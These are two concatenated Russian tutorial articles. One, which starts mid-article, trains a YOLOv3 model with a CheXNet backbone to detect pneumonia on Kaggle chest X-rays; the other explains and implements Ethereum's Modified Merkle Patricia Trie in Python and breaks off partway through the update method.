Также примечательно, что YOLO использует, так называемые anchor boxes (якорные рамки). Подробнее о них написано в [статье на Medium](https://towardsdatascience.com/anchor-boxes-the-key-to-quality-object-detection-ddf9d612d4f9). Это достаточно сложная для понимания(лично для автора этой статьи) концепция. Нам важно лишь то, что anchor boxes (якорные рамки) используются для прогнозирования bounding box'ов и рассчитаны они с помощью датасета [COCO](https://cocodataset.org/#home) с использованием кластеризации [k-средних](https://habr.com/ru/post/165087/).
Чтобы более подробно познакомиться с YOLOv3 подойдет [вот эта статья](https://habr.com/ru/post/460869/).
### Данные
С задачей определились, с моделью определились. Что еще надо? Правильно, данные. Данные берутся из платформы [Kaggle](https://www.kaggle.com/), в которой проводились соревнования по детекции пневмонии. [Вот данные](https://www.kaggle.com/c/rsna-pneumonia-detection-challenge/data).
Изучим эти данные более подробно. Нам понадобятся изображения из файлов *stage\_2\_train\_images.zip* и *stage\_2\_test\_images.zip*. Данные, которые давались на соревновании, представляют собой набор снимков рентгенограммы грудной клетки. В датасете (а именно так называются набор данных) содержатся 26684 рентгеновских снимков разных пациентов. Данные снимки представляют собой изображения в формате DICOM в разрешении 1024 х 1024. Пример изображения представлен ниже.
| | | |
| --- | --- | --- |
| Class | Target | Patients |
| Lung Opacity | 1 | 9555 |
| No Lung Opacity / Not Normal | 0 | 11821 |
| Normal | 0 | 8851 |
Так как изображения находятся в формате DICOM. То мы преобразуем эти изображения в формат JPG с помощью следующей функции.
```
import pydicom as dicom
import os
from tqdm import tqdm
import numpy as np
import cv2
import pandas as pd
перевод dicom в jpg
def dicom_to_jpg(source_folder,destination_folder,labels):
images_path = os.listdir(source_folder)
image_dirs_label = {'image_dir':[],'Target':[]}
for n, image in tqdm(enumerate(images_path)):
ds = dicom.dcmread(os.path.join(source_folder, image))
pixel_array_numpy = ds.pixel_array
image = image.replace('.dcm', '.jpg')
cv2.imwrite(os.path.join(destination_folder, image), pixel_array_numpy)
image_dirs_label['image_dir'].append(os.path.join(destination_folder, image))
image_dirs_label['Target'].append(train_labels[train_labels.patientId== image.split('.')[0]].Target.values[0])
print('{} dicom files converted to jpg!'.format(len(images_path)))
return pd.DataFrame(image_dirs_label)
```
Выделяются 3 класса, которые представляют для интерес: Normal — 0, No Lung Opacity / Not Normal — 0, Lung Opacity — 1. Классы Class, целевые признаки Target и количество изображений Patients, соответствующего класса, представлены в таблице выше. И картинка ниже показывает изображения каждого класса.
Для нас особый интерес представляют классы, сигнализирующие пневмонию (positive или на картинке выше Lung Opacity). И соотношение этого класса к классу изображений здоровых пациентов (negative) равно примерно 1:4 (ниже есть диаграмма, иллюстрирующая данное соотгношение).
Дисбаланс классовДисбаланс классов
То есть классы несбалансированы (изображений одного класса больше, чем изображений другого). Поэтому для достижения относительного равенства между классами был использован прием увеличения числа изображений первого класса (positive) из уже имеющихся путем их преобразований — аугментация. Аугментация была реализована с помощью библиотеки [Albumentations](https://github.com/albumentations-team/albumentations). Ниже представлен код для совершения аугментации.
```
import albumentations as A
import pandas as pd
import cv2
import os
transformer
transform = A.Compose([
A.RandomRotate90(),
A.Flip(),
A.Transpose(),
A.OneOf([
A.IAAAdditiveGaussianNoise(),
A.GaussNoise(),
], p=0.2),
A.OneOf([
A.MotionBlur(p=.2),
A.MedianBlur(blur_limit=3, p=0.1),
A.Blur(blur_limit=3, p=0.1),
], p=0.2),
A.ShiftScaleRotate(shift_limit=0.0625, scale_limit=0.2, rotate_limit=45, p=0.2),
A.OneOf([
A.OpticalDistortion(p=0.3),
A.GridDistortion(p=.1),
A.IAAPiecewiseAffine(p=0.3),
], p=0.2),
A.OneOf([
A.CLAHE(clip_limit=2),
A.IAASharpen(),
A.IAAEmboss(),
A.RandomBrightnessContrast(), ], p=0.3),
A.HueSaturationValue(p=0.3),
])
```
### Реализация модели
**Данный раздел будет обновляться в будущем(ибо есть технические "подводные камни", о которых не рассказано, но о которых стоит рассказать)**
Теперь датасет мы "расширили". Преобразованные изображения и исходные файлы в форматах JPG и DICOM будем анализировать с использованием архитектуры YOLOv3 с основой (backbone'ом) DarkNet. Подробнее про DarkNet можно почитать [здесь](https://github.com/pjreddie/darknet). Затем основа архитектуры YOLOv3 (в данном случае Darknet) заменяется на обученную классификационную модель CheXNet. CheXNet представляет собой 121-слойную свёрточую нейронную сеть, которая определяет области легких, сигнализирующих о пневмонии. Рекомендуется прочитать [эту научную работу](https://arxiv.org/pdf/1711.05225.pdf) про CheXNet. Эта модель обучена на классификацию 14 классов, поэтому так как мы решаем задачу бинарной классификации, то последние слои CheXNet необходимо установить на классификацию 2-х классов (negative — пневмонии нет и positive — пневмония есть). И реализовать в коде данную модель можно с помощью библиотеки TensorFlow, в которой есть готовая заготовка DenseNet121. Реализация этой модели представлено ниже.
```
# Для CheXNet устанавлиются веса classifier_weights.hdf5, которые можно скачать отсюда
https://drive.google.com/file/d/1Bd50DpRWorGMDuEZ3-VHgndpJZwUGTAr/view
from absl import flags
from absl.flags import FLAGS
import numpy as np
import tensorflow as tf
from tensorflow.keras import Model
from tensorflow.keras.applications import DenseNet121
from tensorflow.keras.layers import (
Add,
Concatenate,
Conv2D,
Input,
Lambda,
LeakyReLU,
MaxPool2D,
UpSampling2D,
ZeroPadding2D,
BatchNormalization,
Dense
)
def base_model(chexnet_weights=None,size=None):
dense_net_121 = DenseNet121(input_shape = [size,size,3], include_top = False,pooling = 'avg')
base_model_output = Dense(units = 14, activation = 'relu')(dense_net_121.output)
base_model = Model(inputs = dense_net_121.input,outputs = base_model_output)
output_layer = Dense(1, activation = 'sigmoid')(base_model.layers[-2].output)
model = Model(inputs = base_model.inputs, outputs = output_layer)
if chexnet_weights:
model.load_weights(chexnet_weights)
final_base_model = Model(inputs = model.inputs, outputs = model.layers[-3].output)
return final_base_model
def ChexNet(name=None, chexnet_weights='PATH_TO_WEIGTHS/classifier_weights.hdf5',size=None):
chexnet = base_model(chexnet_weights = chexnet_weights, size = size)
back_bone = Model(inputs = chexnet.inputs, outputs=(chexnet.get_layer('pool3_conv').output,
chexnet.get_layer('pool4_conv').output,
chexnet.output),name=name)
return back_bone
```
Теперь посмотрим на количество параметров каждой модели:
| | | | |
| --- | --- | --- | --- |
| Model | Total params | Trainable params | Non-trainable params |
| DarkNet | 61576342 | 61523734 | 52608 |
| CheXNet | 27993206 | 27892662 | 100544 |
Видим, что параметров у архитектуры с классификационной моделью CheXNet почти в 2 раза меньше параметров, чем у архитектуры с классификационной моделью DarkNet. Это делает первую модель более быстрой в обучении и по этой причине дальнейшая работа будет производиться именно с CheXNet.
### Обучение
Полученная архитектура нейронной сети YOLOv3 с основой CheXNet обучается на преобразованных данных(над которыми был совершен процесс аугментации).
**Стоит отметить** то, что мы сначала обучаем (1 эпоху) на всех классах изображений (positive и negative), а затем на изображениях, в которых есть пневмония (класса positive). Это делается потому что в YOLOv3 изображение 416 х 416 делится на сетку 13 х 13 (416 / 32 = 13). И прогноз делается для каждой ячейки сетки 13 х 13. И если количество anchor box'ов равно 3, тогда каждая такая ячейка сетки 13 х 13 связана с 3-мя anchor box'ами. То есть размерность будет 13 х 13 х 3 = 507 (всего будет столько предсказаний). Получается, что для одного изображения мы делаем 507 предсказаний. И даже если изображение относится к классу positive (пневмония есть) и в нем есть 2 области непрозрачности (помутнения), то будет 2 положительных предсказания и 507-2=505 отрицательных предсказаний. Как видно, число отрицательных предсказаний намного больше. Поэтому если мы снова добавим отрицательные изображения, это сделает нашу модель "предвзятой" по отношению к отрицательному классу.
Для начала, мы делаем [ImageDataGenerator](https://www.tensorflow.org/api_docs/python/tf/keras/preprocessing/image/ImageDataGenerator) для обучения модели. Это связано с тем, что набор данных достаточно большой (и он не поместится в оперативную память), а данный инструмент позволяет нам облегчить чтение изображений во время обучения модели.
```
# true_augmented_labels - это DataFrame, который содержит информацию
о всех изображениях (и о изначальных, и аугментированных(преобразованных)
datagen=ImageDataGenerator(
rescale = 1. / 255.,
validation_split = 0.20)
train_generator = datagen.flow_from_dataframe(
dataframe = true_augmented_labels,
x_col = "image_dir",
y_col = "Target",
subset = "training",
batch_size = 4,
seed = 42,
shuffle = True,
class_mode = "binary",
target_size = (416, 416))
valid_generator = datagen.flow_from_dataframe(
dataframe = true_augmented_labels,
x_col = "image_dir",
y_col = "Target",
subset = "validation",
batch_size = 4,
seed = 42,
shuffle = True,
class_mode = "binary",
target_size = (416, 416))
```
Затем мы обучаем нашу модель на всех классах изображений (и positive, и negative), заранее замораживая последние слои модели.
```
# веса brucechou1983_CheXNet_Keras_0.3.0_weights.h5 и classifier_weights.hdf5
можно скачать отсюда https://www.kaggle.com/theewok/chexnet-keras-weights/version/1
и отсюда https://github.com/junaidnasirkhan/Replacing-YoloV3-Backbone-with-ChexNet-for-Pneumonia-Detection
dense_net_121 = DenseNet121(input_shape = [416,416] + [3], include_top = False, pooling = 'avg')
base_model_output = Dense(units = 14, activation = 'relu')(dense_net_121.output)
base_model = Model(inputs = dense_net_121.input, outputs = base_model_output)
загрузка "тренированных" весов
base_model.load_weights('brucechou1983_CheXNet_Keras_0.3.0_weights.h5')
заморозка последних слоев модели
for layer in base_model.layers[:10]:
layer.trainable = False
устанавлием последние слои модели на бинарную классификацию
output_layer = Dense(1, activation = 'sigmoid')(base_model.layers[-2].output)
model = Model(inputs = base_model.inputs, outputs = output_layer)
model.compile(optimizer = 'adam', loss = 'binary_crossentropy', metrics = ['accuracy', f1_m])
checkpoint = ModelCheckpoint(filepath = 'classifier_weights.hdf5', monitor = 'val_accuracy', verbose = 0, save_best_only = True, save_weights_only = True, mode = 'auto')
log_dir = "classifier_logs/" + datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
tensorboard = TensorBoard(log_dir = log_dir, histogram_freq = 1, write_graph = True, write_grads = True)
callback_list = [checkpoint, tensorboard]
обучаем модель
model.fit(train_generator,
validation_data = valid_generator,
epochs = 1, # в оригинальной статье стоит 3
steps_per_epoch = len(train_generator),
callbacks = callback_list)
```
Затем нам надо написать функцию обучения на positive изображениях (причина описана выше). Она представлена ниже
```
# Для обучения модели были созданы файлы rsna_train_pos.tfrecord и rsna_val_pos.tfrecord
Классы изображений записываются в формате .names (в нашем случае)
это классы "opacity" и "no_opacity"
model = train(dataset = 'PATH_TO_TFRECORD/rsna_train_pos.tfrecord',
val_dataset = 'PATH_TO_TFRECORD/rsna_val_pos.tfrecord',
backbone = 'chexnet',
classes = 'PATH_TO_CLASSES/RSNA_VOC.names',
size = 416,
epochs = 30,
batch_size = 16, learning_rate = 1e-4,
num_classes = 1)
```
После обучения веса модели бинарной классификации сохраняются в виде файла формата hdf5.
### Результаты обучения
Ниже представлен результат обучения данной архитектуры (YOLOv3 с классификационной моделью CheXNet).
С параметрами learning\_rate = 1e-4, epoch = 20
Посмотрим на loss'ы
Аналогично для learning\_rate = 1e-4, epochs = 30
Посмотрим на loss'ы
### Выводы
* Над исходными данными был совершен процесс аугментации с целью увеличения количества данных.
* Анализ количество обучаемых параметров моделей CheXNet и DarkNet показал, что таких параметров меньше у модели CheXNet, что делает ее обучение быстрым по сравнению с обучением модели DarkNet.
* Архитектура с классификационной моделью CheXNet была обучена 1 эпоху на изображениях всех классов, а затем 20 эпох и 30 эпох на изображениях, содержащих признаки пневмонии.
* Эксперименты показали, что с увеличением числа epoch, растет и точность предсказаний модели.
### Перспективы
Рассматривается возможность улучшения показателей архитектуры. Этого можно достичь путем:
* обучения с изменением параметров (увеличения количества эпох, значения learning\_rate)
* обучения модели с использованием другого датасета
* модель CheXNet можно заменить другую классификационную модель
### Ссылки
* На [оригинальную статью на Medium](https://medium.com/analytics-vidhya/replacing-yolov3-backbone-with-chexnet-for-pneumonia-detection-a29434a698b7)
* На мой [GitHub](https://github.com/SAT-A-T/YOLOv3_with_CheXNet) | https://habr.com/ru/post/560118/ | null | ru | null |
# Экзотические структуры данных: Modified Merkle Patricia Trie
*"Какого дьявола я должен помнить наизусть все эти чёртовы алгоритмы и структуры данных?".*
Примерно к этому сводятся комментарии большинства статей про прохождение технических интервью. Основной тезис, как правило, заключается в том, что всё так или иначе используемое уже реализовано по десять раз и с наибольшей долей вероятности заниматься этим рядовому программисту вряд ли придётся. Что ж, в какой-то мере это верно. Но, как оказалось, реализовано не всё, и мне, к сожалению (или к счастью?) создавать Структуру Данных всё-таки пришлось.
Загадочное Modified Merkle Patricia Trie.
Так как на хабре информации об этом дереве нет вообще, а на медиуме — немногим больше, хочу поведать о том, что же это за зверь, и с чем его едят.
Что это?
--------
*Disclaimer: основным источником информации при реализации для меня являлись [Yellow paper](https://ethereum.github.io/yellowpaper/paper.pdf), а также исходные коды [parity-ethereum](https://github.com/paritytech/parity-ethereum) и [go-ethereum](https://github.com/ethereum/go-ethereum). Теоретической информации по поводу обоснования тех или иных решений было минимум, поэтому все выводы по поводу причин принятия тех или иных решений — мои личные. В случае, если я в чем-то заблуждаюсь — буду рад исправлениям в комментариях.*
*Дерево* — структура данных, представляющая собой связный ациклический граф. Тут всё просто, все с этим знакомы.
*Префиксное дерево* — корневое дерево, в котором можно хранить пары ключ-значение за счёт того, что узлы делятся на два типа: те, что содержат часть пути (префикс), и конечные узлы, которые содержат хранимое значение. Значение присутствует в дереве тогда и только тогда, когда мы, используя ключ, можем пройти от корня дерева весь путь и в конце найти узел со значением.
*PATRICIA-дерево* — это префиксное дерево, в котором префиксы бинарны — то есть, каждый узел-ключ хранит информацию об одном бите.
*Дерево Мёркла* — это дерево хешей, построенное над какой-то цепочкой данных, агрегирующее эти самые хеши в один (корневой), хранящий информацию о состоянии всех блоков данных. То есть, корневой хеш — это эдакая "цифровая подпись" состояния цепи блоков. Используется эта штука активно в блокчейне, и подробнее про неё можно почитать [тут](https://habr.com/ru/company/bitfury/blog/346398/).
Итого: Modified Merkle Patricia Trie (далее MPT для краткости) — это дерево хешей, хранящее пары ключ-значение, при этом ключи представлены в бинарном виде. А в чем именно заключается "Modified" мы узнаем чуть позже, когда будем обсуждать реализацию.
Зачем это?
----------
MPT используется в проекте Ethereum для хранения данных об аккаунтах, транзакциях, результатах их выполнения и прочих данных, необходимых для функционирования системы.
В отличие от Bitcoin, в котором состояние неявно и вычисляется каждым узлом самостоятельно, в эфире баланс каждого аккаунта (а также ассоциированные с ним данные) хранятся непосредственно в блокчейне. Более того, нахождение и неизменность данных должны быть обеспечены криптографически — мало кто станет пользоваться криптовалютой, в которой баланс случайного аккаунта может измениться без объективных на то причин.
Основной проблемой, с которой столкнулись разработчики Ethereum — это создание структуры данных, которая позволяет эффективно хранить пары ключ-значение и при этом обеспечивать верификацию хранимых данных. Так и появилось MPT.
Как это?
--------
MPT является префиксным PATRICIA-деревом, в котором ключами являются последовательности байтов.
Ребрами в данном дереве являются последовательности нибблов (половинок байтов). Соответственно, у одного узла может быть до шестнадцати потомков (соответствующих веткам от 0x0 до 0xF).
Узлы делятся на 3 вида:
* Branch node. Узел, используемый для ветвления. Содержит до от 1 до 16 ссылок на дочерние узлы. Также может содержать значение.
* Extension node. Вспомогательный узел, который хранит какую-то часть пути, общую для нескольких дочерних узлов, а также ссылку на branch node, лежащий далее.
* Leaf node. Узел, содержащий часть пути и хранимое значение. Является конечным в цепочке.
Как уже было упомянуто, MPT строится поверх другого kv-хранилища, в котором хранятся узлы в виде "ссылка" => "`RLP`-закодированный узел".
*И тут мы встречаемся с новым понятием: RLP. Если коротко — то это метод кодирования данных, представляющих собой списки или байтовые последовательности. Пример: `[ "cat", "dog" ] = [ 0xc8, 0x83, 'c', 'a', 't', 0x83, 'd', 'o', 'g' ]`. Вдаваться в подробности я особо не буду, и в реализации для этого использую готовую библиотеку, поскольку освещение еще и данной темы слишком раздует и без того немаленькую статью. Если же вам всё же интересно, более подробно вы можете почитать [тут](https://github.com/ethereum/wiki/wiki/RLP). Мы же ограничимся тем, что мы можем закодировать данные в `RLP` и раскодировать их обратно.*
Ссылка на узел же определяется следующим образом: в случае, если длина `RLP`-закодированного узла составляет 32 или более байт, то ссылкой является `keccak`-хеш от `RLP`-представления узла. Если же длина меньше 32 байт, то ссылкой является само `RLP`-представление узла.
Очевидно, что во втором случае сохранять узел в базу данных не нужно, т.к. он целиком будет сохранен внутри родительского узла.
Комбинация трёх видов узлов позволяет эффективно хранить данные и в случае, когда ключей мало (тогда большая часть путей будет храниться в extension и leaf нодах, а branch-узлов будет мало), и в случае, когда узлов много (пути не будут храниться явно, а будут "собираться" во время прохода по branch нодам).
Полный пример дерева, использущего все виды узлов:
Как вы могли заметить, хранимые части путей имеют префиксы. Префиксы нужны для нескольких целей:
1. Чтобы отличать extension-узлы от leaf-узлов.
2. Чтобы выравнивать последовательности, состоящие из нечетного количества нибблов.
Правила создания префиксов очень просты:
* Префикс занимает 1 ниббл. Если длина пути (без учета префикса) нечетная, то путь начинается сразу же после префикса. Если длина пути четная — для выравнивания после префикса сперва добавляется ниббл 0x0.
* Префикс изначально равен 0x0.
* Если длина пути нечетная, то к префиксу добавляется 0x1, если четная — 0x0.
* Если путь ведет к Leaf-узлу, то к префиксу добавляется 0x2, если к Extension узлу — 0x0.
На битиках, думаю, будет понятнее:
```
0b0000 => четная длина, Extension узел
0b0001 => нечетная длина, Extension узел
0b0010 => четная длина, Leaf узел
0b0011 => нечетная длина, Leaf узел
```
### Удаление, которое не удаление
Несмотря на то, что дерево имеет операцию удаления узлов, на самом деле всё, что однажды было добавлено, остается в дереве навсегда.
Нужно это для того, чтобы не создавать полное дерево для каждого блока, а хранить только разницу между старой и новой версией дерева.
Соответственно, используя разные root-хеши в качестве точки входа, мы сможем получить любое из состояний, в котором когда-либо пребывало дерево.
Это не все оптимизации. Там есть ещё, но об этом не будем — и так статья большая. Впрочем, можете [почитать](https://blog.ethereum.org/2015/06/26/state-tree-pruning/) сами.
Реализация
----------
С теорией покончено, переходим к практике. Использовать будем лингва франка от мира IT, то бишь `python`.
Так как кода будет много, и для формата статьи многое придется сокращать и разделять, сразу же оставлю ссылку на [github](https://github.com/popzxc/merkle-patricia-trie).
В случае необходимости, там можно посмотреть на картину целиком.
Для начала определим интерфейс дерева, который мы хотим получить в итоге:
```
class MerklePatriciaTrie:
def __init__(self, storage, root=None):
pass
def root(self):
pass
def get(self, encoded_key):
pass
def update(self, encoded_key, encoded_value):
pass
def delete(self, encoded_key):
pass
```
Интерфейс предельно прост. Доступные операции — получение, удаление, вставка и измененение (объединенные в update), а также получение корневого хеша.
В метод `__init__` будет передаваться хранилище — `dict`-like структура данных, в которой мы будем хранить узлы, а также `root` — "вершина" дерева. В случае, если в качестве `root` передан `None` — считаем, что дерево пустое и работаем с нуля.
\_Ремарка: возможно, вам интересно, почему переменные в методах названы как `encoded_key` и `encoded_value`, а не просто `key`/`value`. Ответ прост: по спецификации все ключи и значения должны быть закодированы в `RLP`. Мы же этим себя утруждать не будем и оставим сие занятие на плечи пользователей библиотеки.\_
Однако, прежде чем мы приступим к реализации самого дерева, необходимо сделать две важных вещи:
1. Реализовать класс `NibblePath`, представляющий собой цепочки нибблов, чтобы не кодировать их вручную.
2. Реализовать класс `Node` и в рамках данного класса — `Extension`, `Leaf` и `Branch`.
### NibblePath
Итак, `NibblePath`. Так как по дереву мы будем активно передвигаться, основой функциональности нашего класса должна быть возможность задавать "смещение" от начала пути, а также получать конкретный ниббл. Зная это, определим основу нашего класса (а также пару полезных констант для работы с префиксами далее):
```
class NibblePath:
ODD_FLAG = 0x10
LEAF_FLAG = 0x20
def __init__(self, data, offset=0):
self._data = data # Данные, по которым итерируемся.
self._offset = offset # Насколько мы сдвинулись от начала
def consume(self, amount):
# "Поглощение" N нибблов можно реализовать через увеличение смещения.
self._offset += amount
return self
def at(self, idx):
# Определяем индекс нужного нам ниббла
idx = idx + self._offset
# Зная номер нужного ниббла, рассчитываем номер байта, в котором он лежит,
# а также определяем, нужный нам ниббл - первый или второй в этом байте.
byte_idx = idx // 2
nibble_idx = idx % 2
# Берем нужный байт.
byte = self._data[byte_idx]
# Берем нужный ниббл в этом байте.
nibble = byte >> 4 if nibble_idx == 0 else byte & 0x0F
return nibble
```
Всё довольно просто, не так ли?
Осталось написать только функции для кодирования и декодирования последовательности нибблов.
```
class NibblePath:
# ...
def decode_with_type(data):
# Смотрим на флаги:
# определяем, четное или нечетное количество нибблов, а также тип узла.
is_odd_len = data[0] & NibblePath.ODD_FLAG == NibblePath.ODD_FLAG
is_leaf = data[0] & NibblePath.LEAF_FLAG == NibblePath.LEAF_FLAG
# Если количество нибблов четное, то за нибблом префикса
# идёт пустой ниббл выравнивания. offset укажет нам,
# сколько нибблов нужно пропустить до начала "актуальных" данных.
offset = 1 if is_odd_len else 2
return NibblePath(data, offset), is_leaf
def encode(self, is_leaf):
output = []
# Для начала нужно определить, четное или нечетное количество у нас нибблов.
nibbles_len = len(self._data) * 2 - self._offset
is_odd = nibbles_len % 2 == 1
# Определяем префикс.
prefix = 0x00
# Если количество нибблов нечетное, то выравнивание не нужно.
# Сразу же берем первый ниббл (self.at(0)) и добавляем к байту префикса.
# В противном случае за нибблом префикса должен быть пустой ниббл (0x0).
prefix += self.ODD_FLAG + self.at(0) if is_odd else 0x00
# Устанавливаем флаг, обозначающий Leaf node, если нужно.
prefix += self.LEAF_FLAG if is_leaf else 0x00
output.append(prefix)
# Определяем, добавили ли мы уже один ниббл, или нет.
pos = nibbles_len % 2
# К этому моменту количество нибблов уже выравнено и кратно двум,
# поэтому просто берем по 2 ниббла, формируем из них байт,
# и добавляем к закодированной последовательности,
# пока путь не кончится.
while pos < nibbles_len:
byte = self.at(pos) * 16 + self.at(pos + 1)
output.append(byte)
pos += 2
return bytes(output)
```
В принципе, это минимум, необходимый для удобной работы с нибблами. Разумеется, в настоящей реализации есть еще некоторое количество вспомогательных методов (таких как `combine`, сливающий два пути в один), но их реализация весьма тривиальна. Если интересно — полную версию можно найти [тут](https://github.com/popzxc/merkle-patricia-trie/blob/master/mpt/nibble_path.py).
### Node
Как мы уже знаем, узлы у нас делятся на три вида: Leaf, Extension и Branch. Все они могут быть закодированы и декодированы, а единственное отличие — данные, которые хранятся внутри. Если честно, тут так и просятся алгебраические типы данных, и на `Rust`, например, я бы написал что-то в духе:
```
pub enum Node<'a> {
Leaf(NibblesSlice<'a>, &'a [u8]),
Extension(NibblesSlice<'a>, NodeReference),
Branch([Option; 16], Option<&'a [u8]>),
}
```
Однако, в питоне как таковых АТД нет, поэтому мы определим класс `Node`, а внутри него — три класса, соответствующие типам узлов. Кодирование реализуем непосредственно в классах узлов, а декодирование — в классе `Node`.
Реализация, тем не менее, элементарна:
Leaf:
```
class Leaf:
def __init__(self, path, data):
self.path = path
self.data = data
def encode(self):
# Закодированная версия узла -- список из двух элементов,
# где первый - путь нибблов, а второй - хранимые данные.
return rlp.encode([self.path.encode(True), self.data])
```
Extension:
```
class Extension:
def __init__(self, path, next_ref):
self.path = path
self.next_ref = next_ref
def encode(self):
# Закодированная версия узла -- список из двух элементов,
# где первый - путь нибблов, а второй - ссылка на следующий узел.
next_ref = _prepare_reference_for_encoding(self.next_ref)
return rlp.encode([self.path.encode(False), next_ref])
```
Branch:
```
class Branch:
def __init__(self, branches, data=None):
self.branches = branches
self.data = data
def encode(self):
# Закодированная версия узла -- список из семнадцати элементов, где
# первые 16 - ссылки на дочерние узлы (некоторые могут отсутствовать),
# а семнадцатый - хранимые данные (также могут отсутствовать).
branches = list(map(_prepare_reference_for_encoding, self.branches))
return rlp.encode(branches + [self.data])
```
Всё очень просто. Единственное, что может вызвать вопросы — функция `_prepare_reference_for_encoding`.
*Тут каюсь, пришлось использовать небольшой костыль. Дело в том, что используемая библиотека `rlp` декодирует данные рекурсивно, а ссылка на другой узел, как мы знаем, может быть `rlp`-данными (в случае, если длина закодированного узла менее 32 символов). Работать с ссылками в двух форматах — байты хеша и декодированная нода — весьма неудобно. Поэтому я написал две функции, которые после расшифровки узла возвращают ссылки в формат байтов, а перед сохранением, если нужно, декодируют их. Вот эти функции:*
```
def _prepare_reference_for_encoding(ref):
# Если ссылка короткая (то есть, не является хешом) -- раскодируем её.
# Перед сохранением она будет закодирована обратно :)
if 0 < len(ref) < 32:
return rlp.decode(ref)
return ref
def _prepare_reference_for_usage(ref):
# Если ссылка была раскодирована - кодируем её обратно.
# В результате вне зависимости от типа ссылки работаем с байтиками.
if isinstance(ref, list):
return rlp.encode(ref)
return ref
```
Закончим с узлами, написав класс `Node`. В нём будет всего 2 метода: раскодировать узел и превратить узел в ссылку.
```
class Node:
# class Leaf(...)
# class Extension(...)
# class Branch(...)
def decode(encoded_data):
data = rlp.decode(encoded_data)
# 17 элементов - гарантированно Branch узел.
if len(data) == 17:
branches = list(map(_prepare_reference_for_usage, data[:16]))
node_data = data[16]
return Node.Branch(branches, node_data)
# Если узлов не 17, значит их 2. И первый - путь.
# Декодируем его и смотрим на то, что же это за узел.
path, is_leaf = NibblePath.decode_with_type(data[0])
if is_leaf:
return Node.Leaf(path, data[1])
else:
ref = _prepare_reference_for_usage(data[1])
return Node.Extension(path, ref)
def into_reference(node):
# Превращаем узел в ссылку.
# Если длина закодированного узла меньше 32 байтов,
# то ссылка - сам закодированный узел.
# В противном случае считаем хеш от данных.
encoded_node = node.encode()
if len(encoded_node) < 32:
return encoded_node
else:
return keccak_hash(encoded_node)
```
Перерыв
-------
Фух! Информации получается много. Думаю, самое время отдохнуть. Вот вам ещё один котик:
Милота, правда? Ладно, вернемся к нашим деревьям.
MerklePatriciaTrie
------------------
Ура — вспомогательные элементы готовы, переходим к самому вкусному. На всякий случай напомню интерфейс нашего дерева. Заодно реализуем метод `__init__`.
```
class MerklePatriciaTrie:
def __init__(self, storage, root=None):
self._storage = storage
self._root = root
def root(self):
pass
def get(self, encoded_key):
pass
def update(self, encoded_key, encoded_value):
pass
def delete(self, encoded_key):
pass
```
А вот с оставшимися методами будем разбираться по одному.
### get
Метод `get` (как, в принципе, и остальные методы) будут у нас состоять из двух частей. Сам метод будет производить подготовку данных и приведение результата к ожидаемой форме, тогда как настоящая работа будет происходить внутри вспомогательного метода.
Основной метод чрезвычайно прост:
```
class MerklePatriciaTrie:
# ...
def get(self, encoded_key):
if not self._root:
raise KeyError
path = NibblePath(encoded_key)
# Вспомогательному методу нужно передать ссылку на
# корневой узел, а так же путь, по которому нужно пройти.
result_node = self._get(self._root, path)
if type(result_node) is Node.Extension or len(result_node.data) == 0:
raise KeyError
return result_node.data
```
Впрочем, `_get` не сильно сложнее: для того, чтобы добраться до искомого узла, нам нужно пройти от корня весь предоставленный путь. Если в конце мы обнаружили узел с данными (Leaf или Branch) — ура, данные получены. Если же пройти не удалось — то искомый ключ отсутствует в дереве.
Реализация:
```
class MerklePatriciaTrie:
# ...
def _get(self, node_ref, path):
# Получаем ноду по ссылке из хранилища.
node = self._get_node(node_ref)
# Если путь пустой -- наше приключение закончено.
# Родительский метод проверит, есть ли в этой ноде данные.
if len(path) == 0:
return node
if type(node) is Node.Leaf:
# Если мы дошли до Leaf-узла, то либо это наш узел,
# либо нужный ключ отсутсвует в дереве.
if node.path == path:
return node
elif type(node) is Node.Extension:
# Если текущий узел -- Extension, нам нужно спускаться дальше.
if path.starts_with(node.path):
rest_path = path.consume(len(node.path))
return self._get(node.next_ref, rest_path)
elif type(node) is Node.Branch:
# Если текущий узел -- Branch, просто идём в соответствующую ветку.
# Заботиться о том, что путь окончен и нам нужны данные из этого узла
# не нужно: это уже проверено в начале метода.
branch = node.branches[path.at(0)]
if len(branch) > 0:
return self._get(branch, path.consume(1))
# Если мы оказались тут, значит ни один из приемлемых вариантов не сработал,
# и ключ в дереве отсутствует.
raise KeyError
```
Ну и заодно напишем методы для сохранения и загрузки узлов. Они простые:
```
class MerklePatriciaTrie:
# ...
def _get_node(self, node_ref):
raw_node = None
if len(node_ref) == 32:
raw_node = self._storage[node_ref]
else:
raw_node = node_ref
return Node.decode(raw_node)
def _store_node(self, node):
reference = Node.into_reference(node)
if len(reference) == 32:
self._storage[reference] = node.encode()
return reference
```
### update
Метод `update` уже интереснее. Просто пройти до конца и вставить Leaf-узел получится далеко не всегда. Вполне вероятна ситуация, что точка разделения ключей будет находиться где-то внутри уже сохраненного Leaf или Extension узла. В таком случае придется их разделить и создать несколько новых узлов.
В целом, всю логику можно описать следующими правилами:
1. Пока путь целиком совпадает с уже имеющимися узлами, рекурсивно спускаемся по дереву.
2. Если путь окончен и мы находимся в Branch или Leaf узле — значит, `update` просто обновляет значение, соответствующее данному ключу.
3. Если пути разделились (то есть, мы не обновляем значение, а вставляем новое), и мы находимся в Branch-узле — создаем Leaf-узел и указываем ссылку на него в соответствующей ветке Branch-узла.
4. Если пути разделились и мы находися в Leaf или Extension узле — нам нужно создать Branch узел, разделяющий пути, а также, если необходимо — Extension узел для общей части пути.
Давайте постепенно выражать это в коде. Почему постепенно? Потому что метод большой и скопом его понять будет тяжеловато.
Впрочем, ссылку на полный метод я оставлю [тут](https://github.com/popzxc/merkle-patricia-trie/blob/master/mpt/mpt.py#L179).
```
class MerklePatriciaTrie:
# ...
def update(self, encoded_key, encoded_value):
path = NibblePath(encoded_key)
result = self._update(self._root, path, encoded_value)
self._root = result
def _update(self, node_ref, path, value):
# Если ссылка на узел не предоставлена (например, дерево пока пустое),
# значит нам нужно просто создать новый узел.
if not node_ref:
return self._store_node(Node.Leaf(path, value))
# В противном случае мы смотрим на тип текущего узла
# и ориентируемся по ситуации.
node = self._get_node(node_ref)
if type(node) == Node.Leaf:
...
elif type(node) == Node.Extension:
...
elif type(node) == Node.Branch:
...
```
Общей логики довольно мало, все самое интересное находится внутри `if`ов.
##### `if type(node) == Node.Leaf`
Сперва разберемся с Leaf узлами. С ними возможны всего 2 сценария:
1. Остаток пути, по которому мы идём, полностью совпадает с путём, хранящимся в Leaf-узле. В таком случае нам нужно просто поменять значение, сохранить новый узел и вернуть ссылку на него.
